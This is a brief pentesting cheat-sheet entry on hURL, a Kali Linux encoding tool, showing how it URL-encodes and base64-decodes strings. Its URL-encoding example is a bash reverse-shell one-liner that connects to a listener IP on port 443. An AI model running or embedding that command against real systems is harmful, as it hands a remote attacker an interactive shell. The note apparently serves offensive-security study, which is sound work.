Encoding Tool

hurl | Kali Linux ToolsKali Linux

Common usage:

# URL Encoding.
hURL --URL 'bash -c "bash -i >& /dev/tcp/192.168.45.213/443 0>&1"'

# Decoding base6
hURL --base64 "PCFET...Fyc2V0PSJVVEYtOCI+CiAggo=" 

This tool has a lot more functionality than what is mentioned here. You can see it's documentation mentioned above.